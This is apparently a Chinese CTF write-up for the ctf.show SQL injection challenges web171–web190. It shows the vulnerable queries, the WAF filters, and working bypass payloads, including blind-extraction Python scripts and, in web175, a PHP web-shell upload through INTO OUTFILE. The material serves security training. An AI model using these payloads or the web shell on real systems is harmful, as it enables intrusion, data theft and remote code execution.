sql注入


推荐先有一个本地的数据库进行指令测试, 而且我做起来我认为难度至少是进阶的.

如果没有任何思路应该先去做一些更简单的ctf题目顺便学一些mysql数据库的指令, 还需要会一些脚本语言

web171

  • 描述: 从此题开始的150道题全部为sql注入,准备好了吗?

题目给出了查询语句, 而且似乎没有过滤:

//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

传参方式为GET, 参数为: /api/?id=1&page=1&limit=10

本来想着测试一下是字符型还是数字型呢, 结果直接出flag了; payload如下

url/api/?page=1&limit=10&id=1'or'1'='1

后面发现or是如果前面成立返回前面的执行结果, 否则返回后面的结果;

在本地的测试过程中, 本题的查询语句可以用or绕过不等于flag的条件, 加上闭合的条件可以得到新的payload:

url/api/?page=1&limit=10&id=99'or id='26

# 执行的命令如下:
select username,password from user where username !='flag' and id = '99'or id='26' limit 1;

而我做出的payload可使用的原因是, or判断使得where语句永远为真, 返回了整个表的内容

select username,password from user where username !='flag' and id = '1'or'1'='1' limit 1;
# 等价于
select username, password from user limit 1;

web172

  • 描述: 撸猫为主,要什么flag?

是SELECT模块的无过滤注入2, 查询逻辑变为拼接, 返回多了个过滤

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}

传参方式: url/api/v2.php?id=1&page=1&limit=10

上一题的payload就不能用了, 而且由于返回值不能含有flag, 查询要换成id

换成联合查询试试

-1' union select id,password from ctfshow_user2 where username = 'flag

# 现在执行的语句是
select username,password from user where username !='flag' and id = '-1' union select id,password from ctfshow_user2 where username = 'flag' limit 1;

web173

  • 描述: 考察sql基础
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}

检查一个名为$ret的变量(应该是查询数据库后返回的字符串)经过json_encode函数编码后的字符串中是否不包含(不区分大小写)子字符串flag

注意这里列数变成了3(id,username,passwd), 所以要更改一下语句, payload如下:

-1'union select id,hex(username),password from ctfshow_user3 where username='flag

还有md5, sha, bin

web174

  • 描述: 考察sql基础,不要一把梭,没意思

第一次访问题目4你会发现是题目3, 直接访问/select-no-waf-4.php或者再点一次都行

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

回显无数字?要找到方法让回显不包含任何数字

最简单的一种方法就是执行查询语句的时候将返回值替换为非过滤的值

利用python获得payload:

i = 0 
s = f"replace(password,{i},'{chr(ord(str(i)) + 55)}')"
for i in range(1,10):
s = f"replace({s},{i},'{chr(ord(str(i)) + 55)}')"
print(s)

payload:

-1'union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p') from ctfshow_user4--+

image-20240805234350894

现在使用脚本还原payload:

flag = 'ctfshow{fgggaeje-lljd-kkjd-ojoo-akhdefbmdlbb}'

for i in range(10):
flag = flag.replace(chr(ord(str(i)) + 55), str(i))
print(flag)

image-20240805234755675

web175

  • 描述: 最后一个无过滤注入,到此你已经熟悉了基础的sql语句。
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

走json是看起来不容易了, 但是可以试试其他的信道: 时间, 出网外带, 写在文件里等

比如写在网站文件里(别看说报错了, 访问以下就发现有flag了):

-1'union select username,password from ctfshow_user5 into outfile '/var/www/html/flag.txt'%23

比如给网站写个马即可(同理, 直接访问)

-1'union select 2,"<?php @eval($_POST['cmd']); ?>" into outfile '/var/www/html/1.php'%23

-1'union select 1,from_base64("PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+") into outfile '/var/www/html/1.php'%23

web176

  • 描述: 开始过滤了
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

没有对返回的参数进行过滤, 那么可以回到web171使用的payload:

1' or '1'='1

或者还是利用or拼接查询:

-1' or id='26
-1' or username='flag

web177

  • 描述: 同上
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}

经过测试过滤的是空格, 可以继续用web176的payload或者换为select

空格可以用/**/, $IFS, <>, %0a等绕过, 部分情况下可以用反引号, 单引号

-1'/**/or/**/username='flag
-1'/**/or/**/username/**/like/**/'%f%

# 反引号
-1'/**/union/**/select/**/1,(select`password`from`ctfshow_user`where`username`='flag'),3%23
# 单引号
-1'/**/union/**/select'1',(select`password`from`ctfshow_user`where`username`='flag'),3%23

web178

  • 描述: 同上

也是不给看过滤, 应该是过滤空格还过滤了/**/, 那就换成%0a, payload如下:

-1'%0aor%0ausername='flag

-1'union%0aselect%0a1,(select`password`from`ctfshow_user`where`username`='flag'),3%23

测试过滤用-1'union select 1,2,3%23即可

web179

  • 描述: 同上

还是不给看过滤, 测试发现用%0c就可以绕过过滤

-1'%0cor%0cusername='flag

-1'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),3%23

web180

  • 描述: 同上

还是不给看过滤了啥, 似乎是最后的%23之类的, 经过测试之后发现以下测试可成立

-1'union%0cselect'1',2,'3

所以payload

-1'%0cor%0cusername='flag

-1'union%0cselect'1',(select`password`from`ctfshow_user`where`username`='flag'),'3

web181

  • 描述: 同上

终于给看过滤了, 联合注入ban了

//对传入的参数进行了过滤, 别问为什么%0c能过, 我也很奇怪
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

返璞归真回到or, 因为查询语句都没变过

-1'%0cor%0cusername='flag

web182

  • 描述: 同上
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

利用模糊查询即可绕过对于flag的过滤

-1'%0cor%0cusername%0clike'%fla%

web183

  • 描述: 同上

全变了, 还挺厉害

//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";

//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}

//返回用户表的记录总数
$user_count = 0;

这里的回显只有记录总数, 那么就是有就是1没有就是0, 应该是盲注

regexp用于在字符串中搜索与正则表达式模式匹配的结果, 直接上例子吧

假设 ctfshow_user 表有以下记录:
| id | pass |
| 1 | password |
| 2 | ctf123 |
| 3 | secret |
| 4 | ctf_flag |

执行查询 select * from ctfshow_user where pass regexp("ctf") 将返回:
| id | pass |
| 2 | ctf123 |
| 4 | ctf_flag |

所以可以整出payload:

POST:
tableName=`ctfshow_user`where`pass`regexp("ctf...")

这边是官方给的程序, 多了两个字符, 无伤大雅

# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import requests
import time

# 每秒发送不超过5个请求
url = "http://149a696c-8ee7-4dfa-ab40-c880151a92e8.challenge.ctf.show/select-waf.php"

flagstr = "{-abcdefghijklmnopqrstuvwxyz0123456789}"
flag = ""

for i in range(0, 40):
for x in flagstr:
data = {
"tableName": "`ctfshow_user`where`pass`regexp(\"ctfshow{}\")".format(flag + x)
}
response = requests.post(url, data=data)
time.sleep(0.3)

if response.text.find("user_count = 1;") > 0:
print("{} is right".format(x))
flag += x
break
else:
print("{} is wrong".format(x))
continue
print(flag)
# {ed3cafbe-3c08-4f03-a681-00caea535ae4}

web184

  • 描述: 过滤的有点多
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ".$_POST['tableName'].";";

//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

//返回用户表的记录总数
$user_count = 0;

可以查阅mysql官网的select语句查看有什么可以替换的

结合查询语句, 发现可以执行的语句如下:

select count(*) from user group by username having username='flag'
select count(*) from user group by username having username regexp(0x666c6167)
# flag的十六进制

可以得到payload:

POST:
tableName=ctfshow_user group by pass having pass regexp(0x...)

转换0x的函数:

# 官方的
def str2hex(str):
a = ""
for i in str:
a +=hex(ord(i))
return a.replace("0x","")
# 换一种也行
def str2hex(input_str):
hex_list = []
for char in input_str:
hex_list.append(hex(ord(char))[2:]) # 直接取 '0x' 后的部分
return ''.join(hex_list)

稍微改一下官方wp:

# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import requests
import time

# 每秒发送不超过5个请求
url = "http://6fa72a2a-0ca0-4882-b307-24f315e1804b.challenge.ctf.show/select-waf.php"
flagstr = "{}-abcdefghijklmnopqrstuvwxyz0123456789"


def str2hex(input_str):
hex_list = []
for char in input_str:
hex_list.append(hex(ord(char))[2:]) # 直接取 '0x' 后的部分
return ''.join(hex_list)


def main():
flag = ""
for i in range(0, 40):
for x in flagstr:
data = {
"tableName": "ctfshow_user group by pass having pass regexp(0x63746673686f77{})".format(str2hex(flag + x))
}
response = requests.post(url, data=data)
time.sleep(0.3)

if response.text.find("user_count = 1;") > 0:
print("{} is right".format(x))
flag += x
break
else:
print("{} is wrong".format(x))
continue
print(flag)


if __name__ == '__main__':
main()

# {af4515fa-97ae-4fd0-b6d2-0151465cef51}

web185

  • 描述: 同上
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
# 查询和返回不变, 还是爆破

主要新增过滤是0-9, 但是在mysql中是可以构造数字和字符串的, 可以查询看看有哪些函数可以对字符串进行操作: 官方网站str相关函数

尝试拼接, 命令如下:

select true+true;		# 返回2
select concat((true+true),(true+true)); # 返回22
select concat((true+true),(true+true),'f'); # 返回22f
select false; # 返回0
select concat(false); # 返回0

我看不太懂, 我找了个能用的, 反正就是将字符串中的数字变为上面那种拼接, 更甚者可以直接把所有字符变为十六进制然后用上面的方法表示

import string

import requests

url = 'http://e5df6fcd-a811-4d47-a7d4-4e57d70037df.challenge.ctf.show/select-waf.php'
payload = 'ctfshow_user group by pass having pass like(concat({}))'
flag = 'ctfshow{'


def createNum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num


def createStrNum(c):
str = ''
str += 'chr(' + createNum(ord(c[0])) + ')'
for i in c[1:]:
str += ',chr(' + createNum(ord(i)) + ')'
return str


uuid = string.ascii_lowercase + string.digits + "-{}"

for i in range(1, 50):
for j in uuid:
payload1 = payload.format(createStrNum(flag + j + "%"))
# print(payload1)
data = {
'tableName': payload1
}
re = requests.post(url=url, data=data)
if "$user_count = 0;" not in re.text:
flag += j
print(flag)
if j == '}':
exit()
break

web186

  • 描述: 过滤的有亿…多
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}
# 其他不变

结果是上一题的py脚本可以继续跑

web187

  • 描述: 无过滤
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

# 返回逻辑
$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}

本题是给了实际的用户登录界面:

image-20240807173808461

向您推荐:ffifdyop:

在经过md5加密后, 该字符串会变为'or'6(不可见字符), 是否可用可以用本地测试:

# 不可行
select count(*) from user where username =''or'aaaa';
# 可行
select count(*) from user where username =''or'6aaaa';

经过测试之后发现只要or后出现数字, 该指令就可执行, 原因是进行了类型转换

payload:

POST:
username=admin&password=ffifdyop

直接输入会显示登录成功, 要抓包查看返回的flag

image-20240807175433509

web188

  • 描述: 继续注入
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";

//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

同样是给了登录框, 同时新增了一堆过滤

当你把查询语句放进本地数据库测试, 你会发现当传入的$username为0, 他会输出所有username中开头是字母的值, 下图会更清晰:

image-20240810205728809

可以看到在没有单引号包裹的情况下, 会进行字符类型转换, 首字符是字母转换就是0, 首字符是数字就会匹配输入的数字

所以payload(在提交界面抓包):

POST:
username=0&password=0

image-20240810211529444

web189

  • 描述: flag在api/index.php文件中
//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

用户名传入0和1会有不同的输出, 这样就够我们进行布尔盲注了:

传入1是查询失败, 传入0是密码错误; 验证下面是否错误可以传入username=if(2>1,1,0)自行判断

利用if(condition, value_if_true, value_if_false), 结合load_file()对文件内容内容进行判断, 即当存在时返回0, 不存在时返回1

import requests
import time

url = "http://c9ec4901-3538-48f2-9ce5-4aa9fc7b17d1.challenge.ctf.show/api/index.php"
str = "{}-0123456789abcdefghijklmnopqrstuvwxyz"
flag = "ctfshow{"

for i in range(0, 100):
for j in str:
result = flag + j
data = {
"username": "if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(result),
"password": 0
}
res = requests.post(url=url, data=data)
if r"\u5bc6\u7801\u9519\u8bef" in res.text:
flag += j
print(flag)
if j == "}":
exit()
break
# ctfshow{7f8b065e-9817-4ae2-a14d-e39615b7ecae}

web190

  • 描述: 不饿
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = '{$username}'";

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪

这次知道加上单引号了

先测试了用户名, 发现输入不存在的用户名会输出用户不存在; 然后测试注入, 用户名可以注入, 有盲注条件:

admin' and 1=1		# 密码错误
admin' and 1=2 # 用户名不存在

剩下就是构造语句查表, 密码错误就是存在, 脚本如下:

from requests import post
from string import digits, ascii_lowercase

url = 'http://591b6da2-b965-4ff3-a8f4-826f177ed92d.challenge.ctf.show/api/'
# 数据库值: ctfshow_web
# payload = 'admin\' and (select database()) regexp \'{}\' #'
# 表名: ctfshow_fl0g
# payload = 'admin\' and (select group_concat(table_name) from information_schema.tables where table_schema = database()) regexp \'{}\' #'
# 字段: id,f10g
# payload = 'admin\' and (select group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = \'ctfshow_fl0g\') regexp \'{}\' #'
# 拿到flag: ctfshow{f8302835-ac04-49e8-ba2c-4ee474890ac4}
payload = 'admin\' and (select f1ag from ctfshow_fl0g) regexp \'{}\' #'
flag = 'ctfshow{'
# flag需要修改, 不能留空

if __name__ == '__main__':
while True:
for c in '-}_' + digits + ascii_lowercase:
resp = post(url, {'username': payload.format(flag + c), 'password': '123'})
if '密码错误' in resp.json().get('msg'):
flag += c
print(flag)
if c == '}':
exit()
break